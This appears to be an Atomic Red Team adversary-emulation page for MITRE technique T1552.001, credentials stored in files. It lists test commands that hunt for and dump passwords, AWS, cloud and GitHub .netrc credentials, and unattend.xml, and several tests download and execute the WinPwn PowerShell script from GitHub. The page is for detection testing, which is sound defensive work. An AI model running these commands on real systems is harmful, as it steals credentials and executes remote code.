T1552.001 - Credentials In Files

Contents

T1552.001 - Credentials In Files#

Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

It is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)

In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)

Atomic Tests#

Atomic Test #1 - Find AWS credentialsFind local AWS credentials from file, defaults to using / as the look path.#

Supported Platforms: macos, linux#### Attack Commands: Run with sh

find / -name "credentials" -type f -path "*/.aws/*" 2>/dev/null
Invoke-AtomicTest T1552.001 -TestNumbers 1

Atomic Test #2 - Extract Browser and System credentials with LaZagneLaZagne Source#

Supported Platforms: macos Elevation Required (e.g. root or admin)#### Attack Commands: Run with bash

python2 laZagne.py all
Invoke-AtomicTest T1552.001 -TestNumbers 2

Atomic Test #3 - Extract passwords with grepExtracting credentials from files#

Supported Platforms: linux, macos#### Attack Commands: Run with sh

grep -ri password /
exit 0
Invoke-AtomicTest T1552.001 -TestNumbers 3

Atomic Test #4 - Extracting passwords with findstrExtracting Credentials from Files. Upon execution, the contents of files that contain the word “password” will be displayed.#

Supported Platforms: windows#### Attack Commands: Run with powershell

findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
Invoke-AtomicTest T1552.001 -TestNumbers 4

Atomic Test #5 - Access unattend.xmlAttempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.#

If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process. Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with command_prompt

type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
Invoke-AtomicTest T1552.001 -TestNumbers 5

Atomic Test #6 - Find and Access Github CredentialsThis test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.#

Supported Platforms: linux, macos Elevation Required (e.g. root or admin)#### Attack Commands: Run with bash

for file in $(find /home -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
Invoke-AtomicTest T1552.001 -TestNumbers 6

Atomic Test #7 - WinPwn - sensitivefilesSearch for sensitive files on this local system using the SensitiveFiles function of WinPwnSupported Platforms: windows#### Attack Commands: Run with powershell#

$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput```
Invoke-AtomicTest T1552.001 -TestNumbers 7

Atomic Test #8 - WinPwn - SnafflerCheck Domain Network-Shares for cleartext passwords using Snaffler function of WinPwnSupported Platforms: windows#### Attack Commands: Run with powershell#

$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput```
Invoke-AtomicTest T1552.001 -TestNumbers 8

Atomic Test #9 - WinPwn - powershellsensitiveCheck Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.Supported Platforms: windows#### Attack Commands: Run with powershell#

$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive```
Invoke-AtomicTest T1552.001 -TestNumbers 9

Atomic Test #10 - WinPwn - passhuntSearch for Passwords on this system using passhunt via WinPwnSupported Platforms: windows#### Attack Commands: Run with powershell#

$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive```
Invoke-AtomicTest T1552.001 -TestNumbers 10

Cleanup:#

rm -force .\passhunt.exe -ErrorAction Ignore
rm -force .\phunter* -ErrorAction Ignore
rm -force -recurse .\DomainRecon -ErrorAction Ignore
rm -force -recurse .\Exploitation -ErrorAction Ignore
rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore
rm -force -recurse .\LocalRecon -ErrorAction Ignore
rm -force -recurse .\Vulnerabilities -ErrorAction Ignore```
Invoke-AtomicTest T1552.001 -TestNumbers 10 -Cleanup

Atomic Test #11 - WinPwn - SessionGopherLaunches SessionGopher on this system via WinPwnSupported Platforms: windows#### Attack Commands: Run with powershell#

$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput```
Invoke-AtomicTest T1552.001 -TestNumbers 11

Atomic Test #12 - WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentialsLoot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwnSupported Platforms: windows#### Attack Commands: Run with powershell#

$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  ```
Invoke-AtomicTest T1552.001 -TestNumbers 12

Detection#

While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See Valid Accounts for more information.